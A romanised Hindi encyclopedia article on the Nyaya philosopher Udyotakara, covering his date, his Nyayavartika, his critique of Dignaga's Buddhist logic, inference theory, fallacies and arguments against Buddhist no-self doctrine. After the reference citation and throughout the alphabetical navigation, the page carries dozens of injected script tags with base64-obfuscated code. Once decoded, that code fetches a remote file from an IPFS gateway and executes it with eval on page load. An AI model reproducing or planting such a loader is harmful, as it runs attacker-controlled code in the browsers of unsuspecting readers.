उद्योतकर

udyotakar ek darshanik hai. prachin nyay darshan ke vikas mean jin naiyayikoan ke nam agragany haian, unamean udyotakar ek haian. udyotakar dinnag tatha prashastavad ke pashchath hue, yah nishchit hai. dharmakirti se udyotakar ka kya sanbandh tha, is bare me vidvanoan mean matabhed haian. kee vidvanoan ne^[1] aisa mana hai ki udyotakar dharmakirti ke pashchath hue. lekin nyayavartik mean jo bauddhoan ke bahut sare tarkashastr vishayak sandarbh ate haian, ve dinanag tatha vasubandhu se hi lie hue haian. aisa koee bhi nahian, jisaka dharmakirti se hi liya jana siddh ho sake. isalie adhikatar vidvanoan ka yahi kahana hai ki dharmakirti ke mat se udyotakar parichit nahian the. sanbhavat: dharmakirti udyotakar ke pashchath hi hue. subandhukrit 'vasavadatta' namak akhyayika mean 'nyayasthitimiv udyotakarasvaroopamh' is nirdash se spasht hai ki udyotakar subandhu se pahale hue the. is tatha doosare pramanoan ke adhar par nyayavartik samay satavian sadi ka poorvardh mana ja sakata hai.

any nam

udyotakar ka any do namoan se bhi ullekh hua hai. vachaspati mishr ne nyayavartikatatpary tika mean udyotakar ka nirdesh bharadvaj nam se kiya hai. ganganath jha ka mat hai ki 'udyotakar' nam udyotakar ke bharadvaj kulotpann hone ke karan hai. udyotakar ko pashupatachary bhi kaha gaya hai. shayad is nam ke pichhe yah karan hai ki udyotakar shaiv sampraday ke achary the.

bauddh tarkashastr

udyotakar ke samane ek pramukh prashn bauddh tarkashastr ke khandan ka tha. isalie udyotakar ke nyayavartik mean tarkashastr vishayak bauddhamatoan ke bahut nirdesh ate haian. dinnag, vasubandhu jaise bauddh acharyoan ke jo sanskrit granth aj lupt haian, unamean se kuchh avataran hamean nyayavartik mean milate haian. isalie nyayavartik prachin bauddh tarkashastr ki janakari ke lie bhi upayukt siddh hota hai. lekin udyotakar ne bauddh tarkashastr ki alochana karate samay jo tarika apanaya hai, usase anek adhunik vidvanh asantusht haian. is asantosh ka karan yah hai ki udyotakar bauddhoan ki alochana karate samay nirday vaitandik pratipakshi ke roop mean dikhaee dete haian. kabhi-kabhi udyotakar ki yuktiyaan shabdik virodhamatr lagati haian, unamean ganbhirata nahian hai. isase jnat hota hai ki bauddh tarkashastr ka prabhav us samay itani adhik ho gaya tha ki udyotakar jaise naiyayik usase vichalit ho ge aur jo bhi tarika ve apana sakate the, use tarike se bauddhoan ka khandan karana udyotakar jaisoan ne apana pratham kartavy samajha.

udyotakar ke granth

udyotakar ka nyayavartik namak granth hi upalabdh hai. nyayavartik mean hi udyotakar ne apane hetvabhasavartik namak granth ka bhi ullekh kiya hai lekin vah granth ab upalabdh nahian hai. nyayavartik vatsyayan bhashy ke oopar ki huee tika hai. usamean anek jagah nyayabhashy mean milane vale matoan ko ek or rakhate hue nyayasootr ki alag vyakhyaean di gee haian. vartik ka lakshan hai-

'uktanukt durooktanaan chianta yatr prasajyate. tan granthan vartikan prahurvartikajna manishin:..'

tadanusar yahaan vatsyayan ke mat mean kuchh badhaya gaya hai, kuchh duruktiyaan bhi bataee gee haian. isalie udyotakar ka nyayavartik sachche arth mean vartik hai. lekin is vartik ko doosari drishti se bhi dekha ja sakata hai. yadyapi nyayavartik mean kabhi-kabhi nyayabhashy se bhinn mat bhi milate haian tathapi kahian bhi nyayabhashy mean prakatit mat ka udyotakar ne spasht virodh nahian kiya hai. udyotakar ne nyayasootroan ki vyakhya apane dhang se karate hue nyay mean kuchh naye vicharoan ko pravisht kiya hai tatha nyayadarshan ka vikas kiya hai. nyayadarshan ke itihas ki yah visheshata lagati hai ki usaka vikas nyayasootroan ke galat vyakhya ke dvara hua hai. bauddh darshan ke uday se nyayadarshan ko b di chunautiyoan ka samana karana p da. use naye vichar apanane p de. lekin paramparavadi hone ke karan koee bhi naiyayik paramparagat nyayasootr ki upeksha nahian kar sakata tha, jisase bauddh nyay ka pratirodh karane vale naye vichar nyayadarshan ke paramparagat vichar hi mane jate. udyotakar ne yahi tarika apanaya. udyotakar ne nyayasootr ki nee vyakhya ki, bauddhoan ke bhi tho de bahut vichar tatha paribhashik shabd apanakar unhean nyay ki paratparagat vichar paddhati mean sthan diya.

dinnag ke anusar

udaharan ke roop mean ham bauddhoan ke hetu trairoopy siddhaant ko le sakate haian. dinnag ke anusar sadh-hetu hone ke lie usamean tin roopoan ka hota zaroori hai-

pakshasatv- hetu ko paksh mean hona chahie (paksh vah adhar hai, jisamean sadhy ka hona siddh kiya jana hai).
sapakshasatv- hetu ko sapaksh mean bhi hona chahie (sapaksh aisa adhar hai, jisamean sadhy nishchit roop se maujood ho).
vipakshavyavrittatv- hetu ko vipaksh mean bilkul nahian hona chahie.

udyotakar ke siddhaant

is hetu trairoopy-siddhaant ka mahattv janate hue tatha is siddhaant ki paribhasha ko apanate hue, us paribhasha ko nyayadarshan mean pravisht karate hue bhi udyotakar ne us paksh ke khandan ki k di alochana ki. unhoanne yah spasht kiya ki aisa hetu bhi ho sakata hai, jisamean ukt tinoan roop maujood n hoan. udyotakar ne anuman ke aise udaharan bhi diye, jinamean hetu ke pakshasatv tatha sapakshasatv vale do roop haian, lekin vipakshavyavrittatv vala roop nahian hai hetu ke pakshasatv tatha vipakshavyavrittatv vale do roop haian, lekin sapakshasatv vala roop nahian hai.

in do anumanoan ko udyotakar ne kramash: 'anvayi' aur 'vyatireki anuman' gautam pranit nyayadarshan mean hai. udyotakar ne gautam ke anuman ke vargikaran mean hi anvayi tatha vyatireki anuman ko sthan diya 'trividhamiti anvayi, vyatireki, anvayavyatireki cheti'.^[2] aisa karate samay gautam ke anuman vishayak prastut sootr ka vatsyayan ne jo arth lagaya tha, use udyotakar ne upekshit kiya aur yadyapi anvayi tatha vyatireki anuman ka vichar mool nyayasootr mean kahian nahian dikhata hai tathapi udyotakar ne jab in anumanoan ka vichar kiya, tab nyayadarshan mean un par b di charcha huee aur akhir mean kevalanvayi, keval vyatireki tatha anvayavyatireki in tin prakaroan mean anuman ka tatha hetu ka vargikaran nyayadarshan mean sarvasanmat ho gaya.

shadvidhasannikarsh ka siddhaant

doosare bhi aise kee siddhaant haian, jo pahali bar udyotakar ke nyayavartik mean dikhaee dete haian aur bad mean nyayadarshan mean svikrit kiye ge. gautam ke pratyaksh lakshan mean jo 'indriyarthasannikarshajanayan' yah pad hai, usaki vyakhya karate hue udyotakar ne shadvidhasannikarsh ka siddhaant prastut kiya. bad mean pratyaksh ka laukik tatha alaukik pratyay mean jo vargikaran kiya gaya, udyotakar mean yadyapi nahian milata hai tathapi us vargikaran ke bad bhi shadvidhasannikarsh ka siddhaant jyoan ka tyoan laukik pratyaksh ke vargikaran mean samavisht kiya gaya. is siddhaant ke anusar laukik pratyaksh mean indriy tatha arth (vishay) mean hone vala sanbandh chh: prakar ka ho sakata hai. dravy ke pratyaksh mean us gun tatha tatha jati ke sath ghranadi indriy ka sanyukt samavay namak sannnikarsh hota hai, dravy mean hone vale gun mean jo jati hoti hai, usake pratyaksh mean us jati ke sath indriy ka sanyuktasamavet samavay sannikarsh hota hai. shabd ke pratyaksh mean shabd ke sath shrotrendriy ka samavay sanbandh hota hai, shabdagat jati ke pratyaksh mean jati ke sath shrotrendriy ka samavet samavay sannikarsh hota hai tatha samavay aur abhav ke pratyaksh mean visheshyavisheshanabhav nam ka sannikarsh karan roop mean hota hai. is sannikarsh siddhaant mean ham dekhate haian ki nyayadarshan ki jnanamimaansa ke spashtikaran ke lie naiyayik vaisheshikoan ke sattashastr ki sahayata le rahe the aur dhire dhire nyayadarshan mean vaisheshik vichar ka prabhav badhata ja raha tha.

anuman tatha anumati ka siddhaant

tisara isi tarah ka siddhaant jo pahali bar nyayavartik mean dikhaee deta hai aur jo bad mean nyayadarshan ke siddhaant ke roop mean svikrit kiya gaya, vah siddhaant anuman ke svaroop ke bare mean hai. nyayavartik mean pahali bar ham dekhate haian ki anuman tatha anumati mean spasht bhed kiya gaya hai, tatha anuman ko anumiti ka karan mana gaya hai. ham dekhate haian ki gautam ke nyayadarshan mean praman aur prama mean spasht bhed kahian nahian dikhaya gaya hai. pramanoan ke lakshan banate hue kahian kahian gautam ne jo lakshan bataya hai, vah prama ke bare mean sahi nikalata hai. pratyaksh praman ke gautam krit lakshan mean ham 'jnanamh' yah bhi lakshan bhed pate haian, jisase soochit hota hai ki gautam vahaan pratyaksh praman ka^[3] lakshan nahian kar rahe haian, balki pratyaksh prama ka hi lakshan kar rahe haian. usi prakar anuman tatha upaman ke bhi gautamakrit lakshan vastut: anumiti tatha upamiti ke lakshan pratit hote haian.^[4] gautam ke bad dhire dhire praman aur prama mean bhed dikhana zaroori ho gaya. vastut: anuman kya hai, inaki charcha karate hue udyotakar ne tin batoan ka vichar kiya hai :

liangadarshan
liangaliangisanbandhasmaranh
liangaparamarsh^[5]

udyotakar ke anuman

jab koee adami parvat par dhuana dekhakar vahaan agni ke hone ka anuman karata hai, tab usaki prakriya udyotakar ke anusar is prakar hai- pahale vah adami parvat par dhuana dekhata hai (liangadarshan) usake turant bad use smaran hota hai ki jahaan jahaan maianne dhoom ko dekha vahaan vahaan agni ko bhi dekha (sanbandhasmaran). isake turant bad usaki samajh mean ata hai ki kis prakar agni se sambaddh dhoom hi yahaan parvat par maujood hai (liangaparamarsh) aur tadanantar yah anumiti hoti hai ki parvat par agni hai. udyotakar samajhate haian ki pahale tinoan jnan anumiti ke anivary poorvavarti haian, isalie udyotakar ke anusar in tinoan ke anumiti ka karan yani anuman samajhane mean koee kathinaee nahian hai. lekin in tinoan mean agar pradhanagaunabhav ka vichar karana hai to pradhan roop mean liang paramarsh ko hi anuman samajhana chahie, liangadarshan ya sanbandhasmaran ko nahian. isaka karan batate hue udyotakar kahate haian ki liangaparamarsh ke turant bad anumiti hati hai, lekin liangadarshan ya sanbandhasmriti ke turant bad anumiti nahian hoti hai. udyotakar ke is vivechan mean anek mudde spasht hote haian. yahaan udyotakar ne praman tatha prama karan tatha phal mean zaroor bhed dikhaya hai, lekin karan ki spasht kalpana udyotakar ke man mean bhi nahian thi, yah bhi yahaan par dikhata hai. bad mean karan, vyapar aur phal in tinoan mean bhed tatha paraspar sanbandh spasht kiya gaya aur anuman mean vyaptijnan ko karan, paramarsh ko vyapar ta anumiti ko phal mana gaya. udyotakar ne 'pradhanaroop se karan' ki jo kalpana yahaan prastut ki hai, usamean karan ki 'phalayogavyavachchhinnaman karanamh'^[6] yah jo doosari kalpana bad mean prastut ki gee, usaki jhalak milati hai, kyoanki isi kalpana ke anusar liangaparamarsh ko karan mana ja sakata hai.

udyotakar ke is anuman vichar ke bal par kee vidvanoan ne aisa tark kiya hai ki yahaan udyotakar ne vyapti ki kalpana sarvapratham prastut ki hai. lekin nyayavartik ke parishilan se to yah pratit hota hai ki udyotakar ne jo liangaliangisanbandh bataya hai, vah anubhoot vishv mean dikhaee dene vala sanbandh hai, samooche vishv mean hone vala sarvatrik sanbandh nahian hai. liangaliangisanbandhasmriti ka jo akar udyotakar ne bataya hai, vah is prakar hai- 'yatr dhoomamadrakshan tatragnimadrakshamh',^[7] jisaka arth hai 'jahaan maianne dhoom dekha, vahaan maianne agni dekhi.' yah akar sarvatrik (sarvopansarohan) vyapti ka nahian ho sakata. sarvatrik vyapti ka akar 'jahaan jahaan dhoom hai, vahaan vahaan agni hai' aisa hona chahie. yahaan ham dekhate haian ki dinanag ne jo anubhootavishv mean-sapaksh tatha vipaksh mean-prakatit liangaliangisanbandh ki kalpana prastut ki thi vahi udyotakar ne bhi tho di bahut parivartan karake apanaee hai.

hetuchakr se tulana

udyotakar ka aur ek mahattvapoorn yogadan hetvabhas ke vishayoan mean hai. dinanag ne hetutrairupy ka jo siddhaant sthapit kiya tha, usi ke adhar par hetuoan tatha hetvabhasoan ke vargikaran ka ek dhaancha dinanag ne prastut kiya tha. (is vargikaran ko dinanag ne 'hetuchakr' nam diya tha). udyotakar ne yadyapi ek taraf dinanag ke hetutrairupy ke siddhaant ka khandan karane ka prayas kiya, tathapi doosari taraph hetvabhasoan ka varnan karate samay udyotakar ne dinanag ke hi hetu chakr ka anukaran tatha vistar kiya. hetvabhas vargikaran ka vikas karate samay udyotakar ne kaha hai ki hetvabhas vaise to anaginat haian, phir bhi udyotakar ne bahut vargikaran tatvoan ka vichar karate hue do hazar battis hetvabhasoan ki ginati ki hai. vaise in hetvabhasoan ke vargikaran ke moolatatv sankhya mean tho de hi haian, lekin inhian tatvoan ke bhinn bhinn prakar se yog hone par hetvabhasoan ke bhinn bhinn upaprakaroan ka pariganan ho sakata hai. udyotakar ke is vargikaran ko poornat: svikar bad mean kisi naiyayik ne kiya, aisa nahian najar ata hai, lekin udyotakar ne jo visheshanasiddh, vishleshyasiddh, sandigdhavisheshan, sandigdhavisheshy, vyadhikaranasiddh, anyathasiddh jaise hetvabhasoan ke mool prakar banae, unaka vichar aantaravarti naiyayikoan ne bhi kiya. unamean se anyathasiddh vishesh mahattv rakhata hai, kyoanki bad mean isi ka vikasit roop 'aprayojak', 'sopadhik' tatha 'vyapyatvasiddh' nam ke hetvabhas mean dikh p data hai.

udyotakar ka yukti pradarshan

bauddhoan ke keval tarkashastr par hi udyotakar ne khandanastr chalaya hai, aisi bat nahian hai, balki bauddhoan ke sattashastr ka, visheshat: unake anatmavad ka khandan karane ka udyotakar ne bharasak prayas kiya hai.^[8] udyotakar ne jo yuktiyaan pradarshit ki haian, ve is prakar haian-

'atma nahian hai, kyoanki usaka janm hi nahian hua, jaise shashashrriang'. yah atma ka astitv khandit karane ke lie bauddhoan ki yukti hai. inamean anek asangatiyaan haian.

atma nahian hai, aisa kahane mean vyaghat hai. kyoanki atma shabd ka uchcharan karane se hi atma ka astitv soochit hota hai aur phir 'nahian hai' kahane se usi ka nishedh kiya gaya hai.
jab kisi ka abhav bataya jata hai, tab vah kisi desh vishesh ko ya kal vishesh ko lekar bataya ja sakata hai. lekin desh vishesh mean ya kal vishesh mean atma ka abhav nahian siddh kiya ja sakata hai.
koee shabd nirarthak nahian hai, isalie atma shabd ka arth hai hi.
bauddhoan ke pramanik granthoan mean bhi atma ka astitv svikrit kiya gaya hai. isalie bauddhoan ka anatmavad apane hi agam se badhit hota hai.^[9]
jo vastut: hai usi ko janmarahit kaha ja sakata hai. isalie atma agar janmarahit hai to usake hone mean koee shanka nahian ho sakati.
bauddhoan ke uparyukt anuman mean shashashrriang ka diya hua drishtaant bhi asangat hai, kyoanki shash ya shrriang asath nahian hai aur shansh aur shrriang mean sanbandh bhi sanbhav hai. shanshashrriang ka nishedh vastut: shash aur shrriang mean aropit karyakaranabhav ka nishedh hai.

atma nahian hai, kyoanki usaki upalabdhi nahian hoti. aisa agar bauddh kahean to vah bhi galat hai. kyoanki harek ko 'maian' ke anubhav mean atma ka pratyaksh jnan hota hai.
koee bauddh 'jine vala sharir atma se rahit hai, kyoanki vah sath hai' aisa tark karate hue atma ke bajae sharir ko paksh banate haian. lekin vahaan bhi atma shabd ka prayog karake usi ke arth ka sarvatrik nishedh karane se virodh ata hai.
atma ka astitv siddh karane ke lie is tarah ke tark die ja sakate haian-

atma shabd ka vishay roop, vedana adi shabdoan ke vishayoan se atirikt hai, kyoanki roop adi shabdoan se 'atma' shabd bhinn hai, jaise ghat shabd.
chakshu adi indriy kisi doosare ke lie (atma ke lie) hote haian, kyoanki ve sandhanaroop haian, jaise shayan, asan adi sandhanaroop hote hue, kisi doosare ke lie (adami ke lie) kam ate haian.^[10]

udyotakar ke dvara prastut ye yuktiyaan usake uttaravarti naiyayikoan ko bauddhoan ki alochana karane mean bahut upayukt siddh huee. aisa nyayadarshan ke itihas ke parishilan se prakat hota hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

gokhale, d aau. pi.pi. vishv ke pramukh darshanik (hindi). bharatadiskavari pustakalay: vaijnanik tatha takaniki shabdavali ayog, nee dilli, 80.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

↑ jaise ki vidyabhooshan ne
↑ nyayavartik 1.1.5
↑ jo ki indriyasvaroop, achetan hai, jnanasvaroop nahian hai
↑ (sirph shabd ka gautamakrit lakshan shabd praman ka hi hai, shabdabodh ka nahian.)
↑ nyayavartik 9.9.5
↑ phal se avyavahitapoorv hone vala karan
↑ nyayavartik 1.1.5
↑ nyayavartik 3.1.1
↑ jaise sarvabhisamayasootr mean panchaskandhoan ko bhar, tatha pudgal ko atma ka bharahar bataya gaya hai. atma ko n manan ki drishti mithya batayi gee hai.
↑ yah doosara anuman bahut prachin hai, jisaka udyotakar ne upayog kiya hai.

sanbandhit lekh

varnamala kramanusar lekh khoj

a <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>a <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> i <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ee <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> u <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> oo <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> e <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ai <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> o <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>au <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aan <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> k <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>kh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> g <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ch <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> j <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y 